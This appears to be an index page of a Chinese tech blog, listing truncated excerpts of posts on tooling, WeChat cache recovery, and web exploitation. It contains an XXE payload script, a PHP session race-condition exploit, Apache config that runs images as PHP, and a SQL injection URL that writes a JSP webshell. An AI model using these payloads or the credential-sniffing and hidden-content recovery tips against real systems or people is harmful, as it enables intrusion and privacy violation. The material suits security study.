1.安装msys2 https://www.msys2.org/ 2.打开msys2 ucrt64安装qemu和gdb还有gef pacman -S mingw-w64-ucrt-x86_64-qemu pacman -S gdb pacman -S binutils 用下面的脚本安装gef 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/env bash set -e # check dependencies if [ ! "$(command -v python3)" …
安卓微信8.0之后如何利用缓存找回的三天之前不可见的朋友圈图片 复习了下安卓程序的知识，我们会了解到，安卓程序清楚数据的时候有两个选项 一个是清除全部数据一个是清除缓存。 清除全部数据表示清除应用数据+缓存。 对于安卓微信8.0之后而言，其应用数据存储在/data/data/com.tencent.mm目录下，需要root才能访问，而缓存则存在/storage/emulated/0/Android/data/com.tencent.mm/目录下。虽然有的朋友设置了三天不可见的朋友圈，但是三天以前的朋友圈内容如果我们偶然刷到过，是会存在缓存里的，因此，我们可以利用缓存把之前的朋友圈找回来。但是 …
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import urllib.parse payload =\ """POST /xxe.php HTTP/1.1 Host: 127.0.0.1 Connection: close Content-Length: 163 <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM …
如下脚本，利用php的PHP_SESSION_UPLOAD_PROGRESS条件竞争漏洞执行一直着没反应： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requests import threading import sys session = requests.session() sess = 'zzx' url1 = …
网上的方法是无效的： 1 2 3 <FilesMatch "test.jpg"> SetHandler application/x-httpd-php </FilesMatch> 原因是新版本的phpstudy使用了cgi模式,而网上的方法只适用于linux模式。 1 2 3 4 <FilesMatch "tpm.png"> AddHandler fcgid-script .png FcgidWrapper …
在.wslconfig里面配置 1 2 3 4 5 6 7 8 9 [wsl2] autoMemoryReclaim=gradual networkingMode = mirrored dnsTunneling=true firewall=true autoProxy=true [experimental] hostAddressLoopback=true
1 http://10.10.80.14:8080/forumapp/post?token=a6682dbf-74c4-4552-9aea-3c9ee2d71f37&content=a%27,12);ATTACH DATABASE '/usr/local/tomcat/webapps/ROOT/haocaicaibxshell1.jsp' AS sh;create TABLE sh.e (payload text); insert INTO sh.e (payload) VALUES …
需要使用如$name,${id}这样的模板 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import os import io from python_docx_replace import docx_replace,docx_get_keys from docx import Document from random import randrange …
首先在windows里面删除不必要的文件，之后按照这个方法 ，编辑镜像，然后用sdelete给剩余的磁盘空间填充0 之后保存镜像，使用管理工具下载镜像，管理工具本质是FTP，打开的时候可以用wireshark抓取ftp账号密码。 使用 file 教室.base,可以知道镜像为qcow2格式文件，所以下载完镜像后使用qemu-img重新创建镜像即可实现缩小，需要两倍大小的空间。这个工具linux版本或者windows都有。
